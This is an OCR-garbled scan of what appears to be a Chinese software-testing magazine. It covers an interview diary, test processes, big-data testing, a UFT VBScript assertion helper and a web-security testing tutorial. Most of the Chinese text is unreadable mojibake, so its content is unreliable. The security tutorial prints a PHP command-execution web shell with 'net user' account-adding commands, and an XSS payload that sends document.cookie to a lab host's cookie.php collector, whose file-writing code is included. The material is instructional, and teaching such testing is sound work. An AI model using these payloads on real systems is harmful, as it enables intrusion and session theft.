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RENRLERIEERAS
o IEE : RIREK

2016 4F 9 A 31 5N F —K A G #HE, MAAAW KBRS AR GR A A ERERTF
—EEH—ANTIERE, MAWRERERNNE XA AP AE, EEREZ )RR
REFWNHG TR ELE, B THRBENER, 7 FEERK, REFTHEE.

BRZWRFAECDEND T —REIRBNRBT TH? AREABWEHRET TES
g 2

RETHE A RHAERNEH:

1. BHILFEMR g AIERE, ARZARAENHT, o TR EM.
THERBH A TR KA.

2. MMAKERE, BRBBHATRERN, FEEMAT AR+ 808 3= Fo
T ¥ & .

3. AT EKRE, WIHNEHEBREE T RAEBRMLN ITELSKNE, A— AL
FHEE R IR A AR, REEBRA T AL, BARA L2 AR AERENA, KN
HEBRZ LR BRORAL LE BB AETE.

RETKAARANAAHNEELNHE, SEWLAFWTHRRALEIANR. EHHE
NIk e T RIAAWER, NABRERE, BERBETRHR. HMRFiz, kT L
AMBEE TEENTE, THREE - TRERBR 0 — B Bk ey — 5%, R
B,

O AXRBBUE, BEEANKBEREGET —BE, axXMIEEHRART —TH
o, BHEADWESMEH. 10 A9 5HBRMAE, FrTRNIEZK.

LE®HRE Round 1l

10 Al 10 5 w+#E Mg 4 FP 3 B # 4,
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T K ] R

LK TR 6 2

2. B Bl o % 5 S B

A AT 243 log T A
4.VLHT B T E & B
5.app # & 2 TA1E 722

HRREZ: XUHE, 2NN ERAEZAERSREA, W6 RS
FrHENTE R, RN AN R R E K ICHFE R E— R E TR, s
BARESEA KK, R R TR W 4%, RAT AL E X7 47 Rt 47

ER&ER: KK

WAL ERAEFIGIE, E2ER RS H AR, T
HREHNOR, BRERANEAMERORE. BRANIZAEERENEATEE DH

=
JLEE KA Round 2
10 A 115 ZEFE (FE) ARAE
T 3K ]
1. MR TAER e
2. MKFB 55 B
3. UHHHE £
4. HAEE B9¥AE (drop #0 delete 89 X 51 )
5. linux #y{#
6. WEFH
7. Bkt k.

HRRZ: 22— BORREERRE, R —DTEHAN THEM R, B
e, TEARMERRTELOER, BAWN G #FNASRIEES. Linux fo
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HWERFEF R KT LEL K,
WRER: K

HRE & WO E R THEZ RS, linux Fr80 2 30858 A K 72 3, B8 50
B, BREHE - TELE DY R, T2 E IR RS AL, Wi E A
Bey, AR NER2FREREHRE (RAGETRE HRS), HIRE 2RERH 5
WA ) ZH a6 E IR, FAREREAL2H 4.

L EERE Round 3
10 A 125 @AREHK (LX) ARAE
T 3K ] A
1. WK TAEM R A2
2. MAAB RS
3. DWW H £ 5%
4. ¥AEEHELE (drop Fu delete # X 51 )
5. app H A LMK TR
o TR P L
ERRZ: ThEftiRE, THIFARENAG IO THEIMRRET, B
W R AR TR B AR E K, EA A IE AR, & R AR
ERER: KK
ERESE: A—LEUNREELE, BRNEELZEET T M NEEEER,
K- REZLABM LA EEESELA., WRIARMEGREEN A E S L E RN
A = o e

(op}

LEERAE Round 4

10 A 13 5 FII T &M B A R F
T [E] AL

1. MK THEm R A2
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2. NWHIHIE &5

3. JTR A Bt 4 % B An 51 &

4. ¥RAEE NEALE (drop 0 delete # X 3] )

5. linux &y

6. HEIH

7. Bof K. iR

HRRZ: HRERET, B8 T RORS E, BEGE—REETRZER,
H R E 52 TE R BOA 13K £ AR 77 8 ] B, TR 0 T B E A e e — S .

ERER: K

BREE: ARITENATNRET T RAAZGRY, BRTH—
ty, RAHEIT Rt T TN SE R sk 2.

E'KE Round5

&

R b ®

10 A 14 5 A B & T 858 880 A R E
T 3K ]

1. R TAERy A2

2. UHIWIE £ %

3. THeerp R4

4. BRAARIZA A2

BRRZ: BXEFRNFAAZHELRT, UANTELRORAEE, EHLE
TREER D T, ERRMRUAEF LS L —LE T mNARE, BiX
BAREBEGY AT ARY A Y KB AR, RARERE RS, ARG
MBEE T AR XD TEREMAFOA, REHESMEH T 2FNIE, Ww i ERE
.

BRER: KK

BRESE: ExatRIle DO E D0 E M EZRARARAE DHFR, &
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MR ITAEFRPAGE AN E R A WRE N E TS, TIERE B EH A T/EF i X 2
. HWREEE, PECHNERERABEABGNBRELAIA T ERE CBHEEZET. X
MR XA E R TR EXE B R R.

UL RBFNH > EAREIENTRET, FTRAEXERRELEHEANT IER

, EXBEEWER AR, B TREIEGERE, AW EEE T s T
TIENTERRS, BEH—AR KN, MR CERE, AHTLEENE
HOBERS. WRELEFHENBHEE L, KHFRFELEHT LA L offer,
REECEENRMF LA ANRESE OH; RFHREBAE, FEAZEH—NE
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EHTR, AFEHEBETRRRFNTRRE S, WRIAH LT EES
%o WARMTEE, BATREMAZEATNT A, TWERIE COEE AE Bl
HEE, EHRADEENER, 5 RTENMES, LERE R AT UL E K
FeH TR, WREH ARG R AT HE R

5 W/ tips, BT 4 TR T B RATHL B 5 %3 — IR # D, 419 ID % R

BT W3 R A E R A MR BAR, T DA By AT B B i 2 A b An T AR &R,
FEEA MR R REE g T BRI E T HEE .
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B AR 1: MR THEHEE STE fo SDET —R T T E, Ny & T4, th= Wi,
2 BRARE ¥, 2R MNEFNR A EBAHER.

|| %% 2: STE #u SDET # X £ & bug, JF & 7 fA 5l R 4.
FA 3. HAEAEMK T E, WK EAFEE.
BB 4: MR TG E E VT4 £ #t, STE f0 SDET A 4ni tnfa o THATE A, TS5 E

B TAES A& RN,
AL 5: @ & N AR B ] A A5G, P B3 BONIK delay 2 IR T A2 AL
.

FIAL 6: WA B&EREAR AL, TREIEa&ENREES

AFUL L, H STE fn SDET Bia- MR MM E, FIUFEA —EE8&NK
emBENE. REEWT:
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=. BenE
1 FRA

e BB, B 5T R DR L

a) #3|FKu, STE fu SDET MiZ NI E i 5t A — AT, A — NI o
A RAFMKTE B ELAREIN, ZUR-—NDERMHENFE, #HHBENAELE
g AL

b) FRIFHFSZH STE fu SDET M EHLFE KL T M —&, FETESVW EFHALH
4ty 5] 7L

¢) STE #u SDET —# & in i KiFF 2l

d WRFREZMI R, FRFHE2L, mHMEED ARY, A x#ED
As FRATTFLED ANRT, UREEHE#TE.

Bk MAEE P AATT % B AR A FAE A, A% i SVN Hidth.
2. JRHIN
T RIPH G Mﬁ@ﬁﬁ%%%%%i,%i[%i%%)%#ﬁx,%#AE@

3. WEFKLIA

STE #n SDET 4% # 2y 47 Bf ], JFoE &A1, — %I LW K L.
AR EIE, MR T AR T STE f1 SDET A4 5] —#2, X5 6 E
4. FRNREFT %

EAHB, STE fu SDET 24| & ZM U T L

a) STEAREXFRE T AT L LI T, HEEKENATF

b) SDET MRy KM T A &k LI T A, 28 &My %

c) RIAHMRAAFMETRE, mUKEDAZHEK T RILE, MWkAFFR
B R B AR KA.
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d) MiRETEO AELE T ZHEL K, WHEAFHEAE STE. SDET. ¥ XKW H
k., ik setest Fuil X T EH A

e) EAEFZAHEHEENKED ALY, FEFHERNRTE f A, UEEEH
i3
5. FHREE

WA FEME, FES BN ERER:

a) STE T E %4 W\ 448 Xk i 72

b) SDET & &K E, % W KAEEA X iRz E

) WA 0 A S TR HT AR E

6. FBIRIt

WA R SRR E . R LA W RAEE, UREE T ROGEMR, T

da N B ¥ B . STE fu SDET &8 % it A 4.

7. RBIEE

a) AT TE, wilikEo AALRETE, Ba Aol fa &m0 E o JF 3T

b) EEAGTHEZEIMERE, X THERAEGHESE, MEARRKTRE &
Wi, FHASERRBFREENR, FHEE.

c) BEAGITFELELANR S, HEAKSE AR b STE #n SDET s, A P#
WA NE 2 SDET. 2l FEWIMNRAARSE.

d) FPiF# 5, STE fu SDET 448 T EHf|, 3 BH x ATk LE 2w A R
W7, HERE AT E G R

8. MKHAT

a) STE #u SDET s 4 &k [&] B 7 N 3K

b) B STE #ATEMARFMIKX, (RIEFE ETHAREFHRL

C) STE %M F Z#HAT—%NRK. —RINK

d) [ —etE B, SDET #4748 Bk, K% 4

9. E&MMRKEK EL
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A&z R T sEFNTE RE
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— fra=KREHE?

RYFERABBEENES, CRTHRAEANTERIARALES, XLHEEFE
ZREBMEFN TR, ERRERKAE. REEYRAKEGUNE. FiE. £EK
AT, BHTEE. A EERHREE RN, KX E T M2 E % X T Big Data,
Hadoop and Mapreduce 1z E..

EXAFRE, RN¥FF3:
® AN K

® Io il KR LA B K R
FHR— HESRIIE
%% —: "MapReduce "% i
FR=. WHHIEN &

® ZRANIK

® &

® AR E

® AR IR

® JIXIIEF K

® AKIEMIK VS & F H 45 MK
o AHBEFEFE=FEANITH
® R AE NI T X g Pk
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KBS E 4 R A BHRAR MR, TR Bt A RE K. %
BB A SRR IR, 1R 20 BT XA

TERBRAENNR o, B AR 3 2 ) = AR A5 e LA AR 7 KR B3Ik 2 B A0 TB
FABEERAE, XRFZRE ORI, BATHETEE ke, LEH =M

KA

C I

TR, EASENRPRBRECRFEEENEE. ENREAZH, 0%
YRR R E L, BRSO WR e — 3. 0 RS A AR
(Efo—Bche. Yoite. TTH BN, — B AR R RS

= iR KB LR R S R
T A P AL T A R K A e LR LA B B
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- Check. proper dafa. is puled info - Map redvce process Works corvectiy
sysfom
- Dafa. aggregation and seqregation
= Comparg souree data with the data rules are implemented on the dafa
landed on hadoop
- ey vawe pairs are generated
- Check vight data is exfracted and
baded into the correct HDFS beation - Validating fhe dafa. affer post Map
Reduce process
Test Entry
///’ Points  [™\
Data Target
Source | —s  Source |—=s ETL ~—»| Data =Bl
{RDBMS, Hadoop Process Ware
web logs, house
social
media etc.)

Testing Big Data P

1. ARFENRXAMEZUT=ASR
FPBR—: BELEZKIE
AEIEN R E —%, d" Pre-Hadoop P £, # K 2|t 236 F

® InifkE T RDBMS, {5 KAt RS IR BEH R TN R RNBERZ T
.

® T BIR AR K B Y K 2| Hadoop & St # PR iA1= IR B Ay
® EIIE EFHIHYE, AJ5 ik B|EHHy HDFS L B .
AR 4 R 36 7 LA A Talend, Datameer iX £y T EL

$B=: MapReduce i

% — % 7 MapReduce i, EXANNE, MNRAFEFEEAGNAT A LH#T LS EER
WREEZ AN BEATZE BRI, AFkR:

® Map Reduce it #% IF #3547
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EARER B H T H
® B

® 7t Map Reduce 372 = J& ¥ iE £ 4
FR=: MyBIERR

RBAEMRK x5 — AW B e 2. A At s XA B % 2| EDW (4
W B AE ) RAFRIEE K B E R G

P e 2 R
® AN A AN
® FIRHIETEM K FNE AR ST
o Wi EAFSES HDFS X1 R G4 dE, 7 R A BAEHUR
2. AR
Hadoop A ¥ A E#3E, REBEXE. Fib, MK TARETE &R FE
HREHN, ZWRELYHNRITRATR T EERERML, RALEHRER. £D,
;Emww%%T,&ﬁﬁ%ﬁ%%ﬁ%%%ﬂﬁ%%a
MR MR FE MR TAE T B 1], WAEFIAE, BEEHEURENRZ AT, &K
P 45 75 IR AR 4 B9 B B 2 O B 7 A3 0 R TR B 1 L T B8 AL 3 R T AT N AT
3. AR
A% €/ LR MR
® HEHFEAAELE: AR, MXF EIIETRE RS2 EAHF A FE S
B IR SR AR . MR AL HE AR BA ] A (B R HLE B B ] P T DA AL
VAL B B A AT PR M A A B A R 1], EhAm 7 B Mongo #r Cassandra %%
WM,
® ML v KL Queries B # Map Reduce #ATHESNEE ., © W EHE Y
BAE & 5 A A BRI S By 238 AL FE , L Ao 7 HDFS _E 32 4T Map Reduce £,
o TUIRHMRE: XBRAHSIANAEER, TN KERNE NG EEFTEE
By, thdm, JHER RS RS AR, MapReduce 4, &Mk, #
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REE.
P RE MR 7 £

R B R R K O K B o A A dE A AL B 2R T AR R A K
77 7 R MK 4 KB o B

) 2] (3) (4] (5)
Set up the big Identify and Prepare e Optimum
data’ Design individual Analysis configuration
application workload Clients
Objectives not met Tune components
and deployment

Performance Testing Approach

® Guruss.com

P A R4 DLW AT -

1 R EAREEA, W/E N

2. RB AR B G TAE B R 4

3. MERANEP (RIEEEXHA)

4 PATHIFOMER (WREFEALE, AELAHEHRHAT)
5 ftEE

MR RS H

B o T E IR AR S AL

o MAEfrth: A o AR

® RRHZ: MATRXHEZ

o JHTM: ZAABTUNTEEEM

® 45t UMEHEREBETERE "I KEEE"
o i WEANNE, TilnTE

® VM ZH: HAN, GCUEHEFS

® Map Reduce M ft: #H)F. BHFF
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o HEMF: HMEMHEE, KNFH

IR F K

PRI T8 R BT I g o B AL, T R, KB B2
® NIZHREHEFWENE, wAEKNERE

® NIRRT R AR B A

® NiZA K CPU Fn iy 77 ff i 5 5k (R 455 &5 1 ik

4y REFAENR VS 1 5548 TR

k35T 25 AR Bl k- AHE mhake
iz o A SRR Tt AR - o A R ERES T S RE T TR -
@ o MAEREEATE), HERAE o MdhEERS U ETE

S

S e MEARTEETOR o EAMEE, RESRE—
#, wELETEL A
T2 HIE

B STEESHIMTEENYT  STRRRITCNRIE (o) |,
ot/ RS BRI

Wuk T Be i A 5 ATLL 5 A Maros f] wHEEMNLR, ALLERETLEN
Excel, MOLLEABmICITE  MapReduce, i ALLE HIVEQL~
f Ule

¢ BEFFIREFNE, ARAAZE FEAEEMBEREEREEMNST
55K B L o A, TR B. mB, ZMEdEbEmTEZE
et = FETEIHFIT.

5. EABEIREFAENTR
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Big-Data-Cluster+ Big-Data-Tools<

NoSQL:# » -+ CouchDB,-DatabasesMongoDB, Cassandra, Redis, ZooKeeper,- Hbases
MapReduge:+ » —+ Hadoop, Hive, -Pig,-Cascading,-Oozie,-Kafka, 54,-MapR, -Flume+
Storage:+ s+ 53, HDFS/(-Hadoop Distributed File-System)+

Servers:+ s —+ Elastic_Heroku, Elastic_-Google-App-Engine, EC2+

Processing+ *—+ R,Yahoo!-Pipes, Mechanical Turk, BigShests, Datameer+

7o REHEW R Bk
o Hytk

ABENE FUMNATELXENEARAAR, WH, FMNKIEL S, BT H
AR T % B A 3 5 LA

® 5t

X TR O By — 3. LR RBIEN A, R WAL E R . 7R
¥ % 2 E R A AL

® KR¥%kK

0 HEREELWHE, FHERNEL

o FEILMRIME

o AR EIAFE T & #AT K

8. M AL AR

o BRMEIAM: F-ANTHAFEETIREMNEA, FEEBIK

® T T AWM AN TR ST Lo xR, g,
NoSQL F 3 &4 & FA 7|

® A TERATT KB H E — T B RODE I N R 5 A
o I KT ABEADS, FEEANMNKINS
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o LImMATF: B NEENTFENTEENRD.

® LW F: EHEBMIN BRNR I FEEBIMAT E.

W, RE

o LUTHEIBRMUESAMELT —MBERE, REAEMNREZ T8 L.

o AHBEAHETUMEN. LHNEXEXEA.

® UK AR A = AN

o HFELREIE

0o MapReduce il

o HIiEk B

o ZAMMHAERKENATEFFEEZNNE, BALFHRITR AT R L&
BB R A B AR Fo it b B R

® RHIE Ay B M A IR I

o HEEUHE

o HfEAHE

o T

® . RMEMIETATE, KBKIENASF T4 50 B FEN K

o AHENAEIE kA B Wik a2t R RS HEE. KB A H
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UFT Z {55 F it = SR 3= 6l B 25 378

®iEH 7 18

EATHENEF+, W5 (ASSERT) ki — WA REAR, WHITHERFHEA
FHT, BERXRME—ENE. wRETEAZTHEENR, BT = 29 KGR0 4
B, BFAMBEmAL, FME - NMRERT.

REFEXHR T T HEE UFT* R R {3 4TH:

1. HAT TR Xk & 2 2 2 7 3 o 200y 38 B8 4 45 2 A iR

2. FHEHIEW R AE

3. HRADE i TR R, e E Bl

X BT EREAR L RN EFY, BRAET LAHAR, v A THEE
G

PHBR—: EXMEBE-GFHRIEX

F—PREXGHIE, REHYEEGE MG, @R, UWTEE UFT
f XML SO B LR 3R 8 & 41

<environment>
<variable>
<name>TRIGGER_0</name>
<value>< I[CDATA[]]></value>
</variable>
<variable>
<name>TRIGGER_1</name>

<value>< I[CDATA[EXxitTestEx]]></value>
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</variable>
<variable>

<name>TRIGGER_2</name>
<value>< I[[CDATA[]]></value>

</variable>

<variable>
<name>TRIGGER_3</name>
<value>< I[[CDATA[]]></value>

</variable>

<variable>
<name>TRIGGER_4</name>
<value>< I[CDATA[]]></value>

</variable>

</environment>

Z0 FEEEA T WU TRIGGER_ AR Z N L E. thir: TRIGGER_1 & X 7 4 & ¥
R E — AR IR R (micFail = 1) 8 B & 8y FE 5. 38 % micPass (=0), micDone (=2), 2 #
micinfo (=4)EE By 1E, T FEMEIME, FUSHAEN. W TRHR, g7z HER
EEFTBERRAREHEATAFEREMER. ATA T ZEE, L@E xml X E
e T .

$PB—: F UFTStopTest.vbs BIAR (S HHA) HFmiZl AN EZ3FELEX
18

45 T mH R AR F & UFTStopTest.vbs, &7 %1% | C:/Automation/Scripts/.

Dim gtApp

Set qtApp = CreateObject("Quicktest. Application™)
qtApp.Test.Stop

Set qtApp = Nothing

7 UFT_STOP_SCRIPT I % & # & X L 4 & UFTStopTest iy i A #y B-4%
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<environment>
<!--continued-->
<variable>
<name>UFT_STOP_SCRIPT</name>
<value>< I[CDATA][C:/Automation/Scripts/UFTStopTest.vbs]]></value>
</variable>

</environment>

PB=: EXBE (ASSERT) ¥k

ASSERT 7 it —ANS (%= 02| 4 Z A 08, stk ElmsE —A UFT &R
B AR ), A [ BB BN Sk € T 9B ] Environment 2 AN b K 28 T B RAD R
PAT. WRBAREB A AL B, N EE — AR F4F 8 4 ASSERT, 4R ASSERT &
B2 %, MARAT.

Function ASSERT(ByVal intTriggerCode)
On Error Resume Next
ASSERT = Environment("TRIGGER_"&intTriggerCode)
If(Err.Number<>0)Then
Err.Clear
ASSERT =""
End If
Execute(ASSERT)

End Function

FSBP: FE X ExitTestEx 4 i

ExitTestEx 77 i {# /| UFT’ s COM x{ & £ F E K. &3 HKEELT
Execute( “ExitTest” ), AT 4Rz A A & w2 LML AREN 4. B
R E 2K A I — A A AN AR B ik, B AR UFT A R &k a7 lK,. 4o
T

Function ExitTestEx()
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Dim Shell

Print "Exiting test " & Environment("TestName")

Set Shell = CreateObject("Wscript.Shell™)

ExitTestEx = Shell.Run("CMD /C "&Environment("UFT_STOP_SCRIPT"), 1, false)
Set Shell = Nothing

End Function

$BEA: ) ASSERT 4%

ASSERT(MyFunction(paraml, ..., paramN))

ASSERT 77 i 204 3247

B %X MyFunction 32 [B] #) 4 % {E {5 1E 5 N 545 % ASSERT 77 3%, HF $14T ASSERT 77 % .
o FE S B — TR T, B R EEE 1 (micFail ) U fi & ExitTestEx /7 i£34T, FR[E
{82 micPass. micWarning. micDone. micDone {8, Nt 4 # F#4T. ExitTestEx 7 i
Fe SN vbs B ARFAT, B ILI A UFT’s COM A AL 4k

LR ERBANFEILT > BB FR e — AN R A AR A5 kR 3 2 g Tk R AR B
A XHEHYIE, 88 UFT By 4 3%, 1% 40 Exist. WaitProperty. CheckProperty 1 Check,
BE —NEHH RCWEEE, XMNE, BA%E. {27, GUI B 21k g L3
AREFREEHRELEHLAE WITHAHAA—ANAEEFD. EXZHBAT, EXHS
BTEREHE, WHATU LS REZEEXN. B FXANRE, R — MR S
FIARF A 4 W7 3 (4 v LLE ] RegisterUserFunc, X B BRIty ), X AEH D4
4“0 (micPass) s f& 3, EE 1 (micFail) =2 KB #iirk.

f# | ASSERT ik A4k

a=t

EATT XA EAT R A R M B A LR R, R RAT U AR e,
At 3 RN B BOR BT SR Y K 7 L2 AT, TR B A :

Function MyFunction(ByVal parami, ..., paramN)
On Error Resume Next

MyFunction = 0 'micPass
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'--- Start: Your code here

'--- End: Your code here
If(Err.Number<>0)Then

MyFunction = 1 'ExitTest
End If

End Function

A & #k MyFunction, & [E 0 &7 4R A £, BE 1L THER. KE 1,
TRIGGER_1 & #ifih &, ExitTestEx #y{H 4% N\ %| ASSERT #, ASSERT #17. XA RK
ARTH T ERGHERZA IFEARERBTFRNFE.
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ZE&NXFEzIL2E
Ok & : 8FHE

— ZEWELR

BFRAETAABRF2AERLEET —LFH, xIA—L2elkF, FRAK
WY AR TT % 2 MR TR A B T

ZAWNKRFEEFKUT WA

1. A5 A

® A FEW 3h A A E A E AR,

® AiF: — MK T IEE EMA KL IATEFIAL.

TENES AP ERT e 4 M IR E, SN A =0 THEZHBATH .

2. Session 5 Cookie

® Session 7 W £ L F AR H e TE ], R ORI TR IR £ 25 o el A B U

® cookie E{RTFAEE P o B b By ST

cookie R 2 5 i@ it ¥ A F B IR B R AT AR LA K — B aFA1E §.; session ID & " —
HARIT, — B | A @3t cookie 3% F L AKEL T session ID, T DUKEAE A LR K 4R
Fa%, AWM IA T /AWK,

3. DDOS -4 R 4 4 IR 530 h

A NAE4 R 45K & (DDOS) W R BB TEFIREBEA, BEMTENIKE
RRIENBRFETE, —NBRENDEARLR B BUE, TR R 518 4 R 4R R A .

WE, AFEHEHAHNANK T DDOS THEBF LA —NMTEN £, RERFL
BEWE LTS ITEN L, MR, TERFRES XERERF TR
RERFREFEASHL DI E, AT EARSBHRIE, LEEEEA P RERS.
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(RS KRR AU, Bk A RS TR. — T ERSBA
FHRTEH, 77 Eh DDOS Kbl T U AR M At M6 2 B n
BFHA SRS, BEESRE A HREHII, SR A4 AR 4 I R AL
5. WEDAMSEALE. | EEENE K, JREHTERFE, XHR%
5 T DU 28 B 0 4 SRR T 22, T A 2 B LT LA 2 A B S
HRRREAET.

# DDOS % # K I &

1) Bk HEA LA AR S TOP 4

2) Pt RRE AR NI, T A

3) HEEAERAME, ERFSHE, 7T IHEEEY B RER;

4)FU R 2% 3 HLAR 006 A S P L kI, R A B A
9 % EHLI R B AT B E % K

4. Xt EfZ R
XAF BT R P B T —ANFLRAT B A SR, SR S B AR U IR R T
TG B W

RE ;B WAL 2 40 A& EEahte, @l wd P kg b s, B EE, i E
B, MM EEE. BT II U B R I% A P A TR F P B8 8 U e 4 DA RO
KA, RHRAUREF T ENE F EEEE PHP X, I a8 ax 2o U4 3 45 PHP ##
B, B UERAERS B EHATERE PHP A,

YRAGHEAEX M EERARREZFTURRSE, KD, EMSEWARETELET
AR E R LR RSE, X XHEIREH SR HRER. RIELKREYZE
S, A PR LR B G S PHP, ASP LK ISP AR, WY ULREERESE
3 1 3 A

5. XSS B3R &

XSS B R H R M EH A WA F AT R, MATURRER
W bt B P aE R B B HTML (R &, AT B BUR Z k. R R P BT Efsh
YEBLH Xt 7 Bl H #ATR =12 0 — M 8GE 7 K.
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XSS & B HT A 1k & FLE T B A W sk A2 IE 809% Eh ] By 7 1 Web 2R AR R R R L
B F . XSS EF R H P, ] dndy fa B sk K BUA| B9 F 7 89 Session ID, 3 3t 5] A Y
MK KRB HE K.

XSS & — B EH A, BESELF 7B Web x| 5T 25 o B sk I8iE F R
AT, Y BEFFZFERAGNEE YR E xR, APERYRERAZTE
#.

Bk R KA EFAR B, EHEAA B, DOM Bk, FEAEEEA, F
FEMEEEE SR, [EXHB S aE LA,

HER XSS, FAMN, RERFEERSBEF N, WENMNGERERLEXELHT,
MNAREG, W REATRRITEA, BoxUREEFERRSES, AP HRZR
T Y A Ak K R AD AT . XA XSS bR B, B ZERIE s, K% cookie .

G XSS, EHFAt, FERRAFECEATHELS ML XSS KD (RE%E
PERARFN R ERALR), —BEAZEAEE LT @m.

DOM #sk K R EM Atk &, w2l WA ERLETE L5, ~2 H#E
0

6. SQL EAN

WA T AN, mREFBERENER, ZERARE T K.

BRI 2 3 ST SQL & A4 A\ 8| Web 2k 348 20 30 N\ 4 3 T T i K i A 1A
&, KRB\ REBEHATEEN SQL 4.

ARk, CEAMAINANAET, B (L&) 8 SQLHAENE G & HIE%E 5] %
WATHIRE )7, T DL Web R ¥ 8N (L&) SQL EA 55| —/NE 7L AR FE
Wb g BARE, T AR 4% it EE 34T SQLEA.

it SQLIEA, TREH P4, BA, RAXMENHME, BEERSS
HMIKERER, PMedtiTiRh, RTURIANA P4, B4, REWMAT EE TRD,
MARALEEXFN T R,

7. ¥3hiE Kt (CSRF)

kg Ry (CSRF) MR REHEH X EHNITEN, BREZEHHHNEEME
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— NG XA Web N2 R X IERRERIREFNEENEETH. BEEEXS
B b Y 28 8 Cookie, Iy Web R F 12 £ | ¥ 22 Cookie.

Z. BAWRKA M
1. A5 A

RE W R AU VO T DL BLAE T R, N2 RS T AR A — ) session L & # |
Wr. 2R A FIB R E R i URL H kb3t 66 2647 37 9]

MK vk A BPEE BT, (#5437 URL dbdk 3 7 #4737 18], 666 IE % 7 14,
%5 %t URL Mt & 4% 38 3T httpwatch x4 /Mg KR #ATIREL.

2. session 5 cookie
G AR A7 B E B %) cookie U, cookie B R T LLAR R P AR LG
E F 32 .

Set-Cookie: PHPSESSIONID= ;pash=/48 xt T 4%k B 3 & #, %0 C:\xampp\htdocs %t =
B 3K, agileone k17 tfs B2 7E phpwind & b2 BUE| 8y, B = 8] 2 B AL (E 3%, W
A% 5] DA X3 B cookie 12 B,

FRR R A B R F SR R R A 38, 4o¥ agileone Fo phpwind # AN A BB
TEAS T B A s 2 o B R] 18- B #S path=/agileone, path=/phpwind.

3. DDOS 3B 4 R 43K

(1) oA BB 4 R 4 RSOt (ot AR 428 By Vel J - A 2 0 8 M 1) AR 5 B8 R 9%
X)) WHEMH X

1) AW

WRREARGUERE EMZ R BER, FCPTRERT, REFBH K LEET
HA4H P oy 7 AHATAHE, e — R E B E RS BEEK;

2) MR EEKE

Rz NBREREIE — MW KRB E, SR ER K —EE N, *FE—WaiE
BATE

(2) R TCP Zar g4 AN




EZIrm O

itesting (51 MiEFKit) PI-+HII(T)
I Wl www.51testing.com

F—IK, B R g A E K

R, RSB RLE P i K

TR, B v vl R - v R

WRE—REFERE, BPmEN T AHFAEN IP AT LEFER, F_REFNIE
MR AR P M3, REHITEHER, HEMEM, WESNIBPHEATIRSGENSE
BEVR, MRS58 L EHRAE T ¥ .

M T LRSI, BATHT DORBL T T & AT K3 ¥ 6k 7~ & LR
F A RSk b X M. b AT UER S BomiE 4 BT A 8 ICMP &, BHEZ
W BB i 88 bt ICMP L #EATH S EHy IR, =R EAE—EREEN.

Rz, EMEMLIELRS KL, RITH I E 2 A BARM IR 53| EAH#ATBGE
MBI, ZEREIEFTLARE —HAZHNER, —BHEE TRETH, R
BHEIN. E—TITH R ELHITEENRE, RFEEHENEEFEREE DN
FRAE, RAZRE W T kR E KT IR L, X HEEFH TN E S oA K
x.

4y Xt _E1ETRF

At R %28 v B 4 X, 2R g php XHEA RS2, V7 18] A By X,
LR EPAT php WHE, W HBERSE.

4% hello.php X1, U A 2

<? php phpinfo(); ?>

X EAE R, T X, REBHIMATT php X, B REBHENSH.

1% hello2.php, R 2% H1EE, FTLEZH RN, php # system &4 7 UL &
BERTRA®A, @5 NEF mim N AF. X W2

<? system($ GET[cmd 0); > — AN GET KB 2 # 8, 27 L@t ? emd=3

B it hello2.php, #ATH 4, #N? cmd=dir, W% H A 2.

BATWA AP
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? cmd=net user hello/add
RIF 7%, #3 hello By F 7, MIBRA P
? cmd= net user hello/del
R 5%, WA P
R %85 A X1
? cmd=echo zyy>>d:\hi.txt(>>3% 7= & £ & X% d #)
system($_GET['cmd); 5 50t & ] - oy A B 2 7
o (7] 3 5%, XA A% B R 9L -
1) X bA% dyad ik
W fE Re HATHIE, FRREE;
= A XA

B SR U A 72 ZHE 8 S, ] SR T DA o Sk A B S ok R O T DA T B R
St o R A S

2) BRRF BN EHK

E AT BT R GRA

o5 2X php BLE X1, (EHE A &4

3TFF C:\xampp\apache\bin T~ & php.ini &t & X {4+
4% disable_fuctions=system, ztiF & %3 AT .
5. XSS BB

Pk AN IR 3 B 3 B 43X & (Cross Site Scripting), 4 A~ 1 B & £ R % (Cascading
Style Sheets, CSS)# 4 5 ikiE, BB AM AR LSS H XSS, HEKEHE Web T E
B4E AT & Script (A, % PR WIZ T 2B, SN Web B &y Script £ A8
G NTE - Ry=3: &l L3 A=

FTERAFLEREA ), RAH KRB R
1) o5 XSS B
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1E A M B AT

(51 Wi Ritw) P9+PU(T)
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<input type="button” value=" 4 > onclick="alert(‘ {7 #5°)"/>#x 1 &) html 1S, 1,7 A
M5B 24T, J
ek B R

R A B P R AT AT

<img src="https://www.baidu.com/img/bd_logo1.png” onclik="alert=(‘1%# & 7 *)"/>
2) T IREUR P B9 cookie:

i ¥ 3k Bt 8 T EL, Java script A — /M7 7% document.cookie ¥ $ B cookie J& 14 .
EAR AT

<img src="https://www.baidu.com/img/bd_logo1.png” onclik="alert(document.cookie)’/>
B B sk 83K BUT T # cookie.

3) T #E4T cookie {5 H:

<D>HEFFAR EET A RE, TELXESN TE, #d GET 54 E#4F cookie
2 BtE 2z @, # LimAZ 4K 2| cookie;
<2>7k B cookie 12 B #H AT & T #,
<3>T R 1E:

HATIRAF Z )5 3t B IR B E A B 15 KL
1E C:\xampp\htdocs T #1 Z cookie.php T
<?php $cookieValue=$_GET[‘cookie’];
$fire=fopen(“c:\cookie.txt”,”a”);$

=

T
fwrite($file,$cookieValue);

fclose($file);

RTRSURE, a kT AR, wRTS, R

<img src="https://www.baidu.com/img/bd_logo1.png”
onclik="location.href="http://172.27.244.1/cookie.php?cookie="+document.cookie’”’/>
Ji HTTPwatch # 4T K BUT & # id:

value=document.cookie”/>

ST+, A B #AT cookie FKEL. T —ANJ i cookie (B N\ 2 B T T By SUARAE,

<img src="https://www.baidu.com/img/bd_logo1.png” onclik="document.getElementByld(‘attendee’)
4) DOM g 3k B 5L 4
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Y 1 I <a href="xxx" title="#F &L 4 ZX">XXXXXXX</a>, W A7 B A B AE # 4T EF IR
KA W EHRITEREERTBNN, BAFERINZERIASTEN, FUBRGEEBER
B, A R"FA AT XXxxxx"><img><", ENMRAEH S L F N —> HTML 17
s

YY)y

<a href="xxx" title="xXXXXXXXXX"><img><"">XXXXXXX</a>

oz EEFHERT, ", > XLFTHZ LIRS, TRNHTANET N
XXXXXXXXX&quot; &gt; &lt;img&gt; &It; &quot;

W TR A A B UG &quot; 2 B B4, Xt T DOM B4,

5) B XSS #y BN

HEONBBRAE AT a7, B BIEHAT RmAE. XEH ‘R BEEE,
SbFAT AT AR LA BT SUE SR BATAT AT AT . ] Ao Bk 3 S i B HTML = 8 A st
% 4T HtmlEncode, #m 8 %38 2 #  3| javascript 1S40 = AT HEEE Ry, ARt EHHAT

javascriptEncode.

